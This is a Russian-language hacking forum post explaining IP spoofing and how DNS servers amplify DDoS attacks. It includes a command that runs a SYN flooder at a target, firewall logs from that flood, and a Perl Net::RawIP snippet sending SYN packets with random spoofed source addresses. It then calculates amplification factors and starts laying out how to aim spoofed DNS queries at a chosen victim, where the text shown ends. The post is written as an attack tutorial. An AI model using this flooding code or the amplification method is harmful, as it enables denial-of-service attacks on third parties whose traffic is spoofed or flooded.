DNS - как усилители DDoS атак

hackdays

Участник
Подтвержденный
Регистрация
27.08.13
Сообщения
103
Реакции
103
Депозит
0
Покупок
1
Продаж
1
В этой статье мы рассмотрим атаку, идея которой сама по себе не нова, но об использовании в этих, уже общеизвестных атаках, серверов DNS заговорили относительно недавно.
Для того чтобы понять суть данной статьи, вы должны иметь представление об атаках типа IP-Spoofing, и о протоколе DNS. Но если вы об этом ничего не слышали, или подзабыли, я вам напомню, вкратце.

Что такое IP-Spoofing?

Вкратце - это подмена IP-адреса в IP-пакете. Нет не при помощи прокси-сервера… А просто при помощи формирования IP пакета с параметрами на ваш вкус. Если кто-то не знал что это возможно - то знайте. Если кто-то думал что это очень сложно - то в этой статье я докажу вам обратное.
Итак, что такое подмена IP адреса на таком - почти, что самом низком уровне?
Давайте посмотрим на структуру IP-заголовка:



Именно в IP заголовке содержится информация об IP адресе получателя и отправителя. Последнее для нас особенно важно, так как в нашей статье мы именно этот адрес и попробуем изменить, а для этого придется влезть в саму структуру IP заголовка.
Теперь небольшой пример из практики:
Представим что ваш компьютер пингует мальчик Вася с компутера А (с IP-адресом 192.168.0.21), то запустив сниффер на вашей машине получите примерно следующую картину:



Как видите адрес отправителя и получателя вам видны, и протокол обмена не нарушен. Удаленный компьютер послал запрос, и получил ответ, в результате мальчик Вася убедился, что ваш компьютер в сети и отвечает на ICMP запросы. Сделаю небольшой акцент на размере пакета - 74 байта. Исходя из этого можно судить что мальчик Вася под виндой, так как например ping запущенный с FreeBSD будет слать по 98 байт.



И еще замечу, что ответ будет содержать также 98 байт, даже если с FreeBSD пингуют WinXp машину. Эти акценты я не зря здесь расставил, позже мы к этому факту еще вернемся. А пока возвращаемся к мальчику Васе.

Представьте себе если бы запрос приходил от мальчика Васи (на самом деле), а ответ отправлялся мальчику Пете, или вообще неизвестно куда? Думаете такое невозможно? Давайте в качестве примера такой ужасной атаки рассмотрим работу флудера от команды CyberLords (см. аттач к статье).
Итак, мальчик Вася запускает его на наш бедный маленький компьютер, под управлением Windows XP SP2.
Вася вводит в своей FreeBSD заветные строчки команды:
[root@vasya]# perl cl_flooder.txt -i192.168.18.1 -n 50 -t 1
И…..
Но Вася не знает что мы включили логгирование на нашем маленьком и кривоватом фаерволе, и видим его жестокие попытки нас завалить открытыми соединениями:
#Version: 1.5
#Software: Microsoft Windows Firewall
#Time Format: Local
#Fields: date time action protocol src-ip dst-ip src-port dst-port size tcpflags tcpsyn tcpack tcpwin icmptype icmpcode info path

2006-03-24 20:26:20 DROP TCP 78.63.228.55 192.168.18.1 65215 3312 40 S 0 0 65535 - - - RECEIVE
2006-03-24 20:26:20 DROP TCP 124.180.5.243 192.168.18.1 14253 28382 40 S 0 0 65535 - - - RECEIVE
2006-03-24 20:26:20 DROP TCP 186.166.83.23 192.168.18.1 5781 55993 40 S 0 0 65535 - - - RECEIVE
2006-03-24 20:26:20 DROP TCP 102.31.17.5 192.168.18.1 14278 14159 40 S 0 0 65535 - - - RECEIVE
2006-03-24 20:26:20 DROP TCP 11.98.55.58 192.168.18.1 26363 28340 40 S 0 0 65535 - - - RECEIVE
2006-03-24 20:26:20 DROP TCP 33.37.169.107 192.168.18.1 49215 10299 40 S 0 0 65535 - - - RECEIVE
2006-03-24 20:26:20 DROP TCP 204.132.94.88 192.168.18.1 27113 13657 40 S 0 0 65535 - - - RECEIVE
2006-03-24 20:26:20 DROP TCP 203.13.172.109 192.168.18.1 31545 5255 40 S 0 0 65535 - - - RECEIVE
2006-03-24 20:26:20 DROP TCP 244.141.83.29 192.168.18.1 53252 56631 40 S 0 0 65535 - - - RECEIVE
2006-03-24 20:26:20 DROP TCP 93.186.117.82 192.168.18.1 15382 4503 40 S 0 0 65535 - - - RECEIVE
2006-03-24 20:26:20 DROP TCP 123.55.71.123 192.168.18.1 12178 61434 40 S 0 0 65535 - - - RECEIVE
2006-03-24 20:26:20 DROP TCP 12.153.85.79 192.168.18.1 54151 184 40 S 0 0 65535 - - - RECEIVE
2006-03-24 20:26:53 DROP TCP 216.102.118.75 192.168.18.1 43072 52427 40 S 0 0 65535 - - - RECEIVE
2006-03-24 20:26:53 DROP TCP 167.52.113.157 192.168.18.1 39581 7435 40 S 0 0 65535 - - - RECEIVE
2006-03-24 20:26:53 DROP TCP 197.219.56.124 192.168.18.1 3623 8465 40 S 0 0 65535 - - - RECEIVE
2006-03-24 20:26:53 DROP TCP 244.53.153.142 192.168.18.1 61792 53492 40 S 0 0 65535 - - - RECEIVE
2006-03-24 20:26:53 DROP TCP 29.67.43.18 192.168.18.1 47416 6889 40 S 0 0 65535 - - - RECEIVE
Наш скромный фаэрволл отрезал негодяя. Но посмотрите, что он пишет в поле src-ip (то есть откуда идет запрос)??? Какая-то абракадабра! Хотя запросы поступают все от того же пресловутого Васи, IP-адрес каждый раз разный, и даже близко не похожий на Васин.
Вся шутка заключается в том, что в данном скрипте используется ручная сборка пакета IP, хотя и значительно облегченная за счет модуля Net::RawIP (этот модуль существует только для Nix'ов).
Что мы видим в коде:
##########SEND PACKET#########
$a = new Net::RawIP;
$opt_s=int(rand(255)).".".int(rand(255)).".".int(rand(255)).".".int(rand(255));

#$flag=@flags[int(rand(@flags))];

$a->set({ ip => {saddr => $opt_s,
daddr => $opt_i
},
tcp => {dest => int(rand(65536)),
source => int(rand(65536)),
urg => 0,
fin => 0,
syn => 1,
psh => 0}
});

$a->send;
Адрес отправителя генерится рандомно…
А теперь вернеся к нашему примеру с пингом.
Представим себе такую же ситуацию. Компьютер Васи отправляет запрос (размером 74 байта), и получает ответ - такой же пакет размером 74 байта. Трафик в обеих направлениях одинаковый. А теперь представьте что заместо своего IP-адреса Вася подставил адрес мальчика Пети, и запрос хоть и исходит от Васи, ответ приходит к Пете. Теперь все это помножим на кол-во компьютеров затрояненных Васей, и представим что все ответы на запросы приходят к Пете… Не позавидуешь Пете… Но тут всего лишь 74 байта, или чуть больше (98 байт) не в этом суть. Суть в равной порции трафика, от клиента и к нему.


Чем же примечателен протокол DNS?

Протокол DNS примечателен именно тем что работает на ненадежном протоколе UDP. Что упрощает процесс отправления запроса (минуя так называемый TCP хэндшейк). И помимо этого этот протокол интересен тем, что запрос к серверу может содержать около 60 байт информации, а ответ от него - 512 байт (это максимум, и это касается спецификации RFC 1035, которая касается IPv4, протокол IPv6 имеет значительно больший объем пакета), в этом и суть усиливающего эффекта протокола DNS.
 
Автор
Автор
hackdays

hackdays

Участник
Подтвержденный
Регистрация
27.08.13
Сообщения
103
Реакции
103
Депозит
0
Покупок
1
Продаж
1
Усиливающий эффект.

Посмотрите небольшой рисунок, на котором запечатлен процесс запроса через nslookup домена Slashdot.org:



Как видите небольшие пакеты с запросом к DNS серверу, генерят значительно большие по размеру пакеты ответов к клиенту (на рисунке IP: 192.168.0.21 - клиент, IP: 192.168.0.101 - сервер DNS). В последнем запросе - пакет размером 72 байта, порождает ответ сервера размером 277 байт, коэффициент усиления 277/72=3,84. И это далеко не предел, как я сказал, если минимальный запрос к серверу может составлять где-то 60 байт, а ответ 512, то коэффициент усиления составит 8,5, а по спецификации IPv6, где ответ сервера может содержать до 4000 байт: коэффициент усиления = 67!. В общем - масштаб катастрофы увеличивается, если принять во внимание то, что все DNS сервера (в основном конечно) сидят на широких каналах.
Но вернемся к нашему IPv4 и коэффициенту 8,5.
Идея, я думаю, уже прояснилась до понимания, и пора перейти к реализации.


А как оно на практике делается?

Итак, задача - сформировать запрос к DNS службе, и отправить его с целевым IP адресом (под целевым понимается IP адрес жертвы, которую мы решили атаковать). Также мы должны знать Named сервер (DNS) к которому адресовать наш запрос, ну и естественно мы должны представлять какой запрос мы будем делать.
Для всего этого нам понадобиться perl и модуль Win32::NetPacket, а также установленный winpcap, или же все это можно написать на С, что естественно значительно более жизнеспособно в WIN32 среде.
 
Сверху Снизу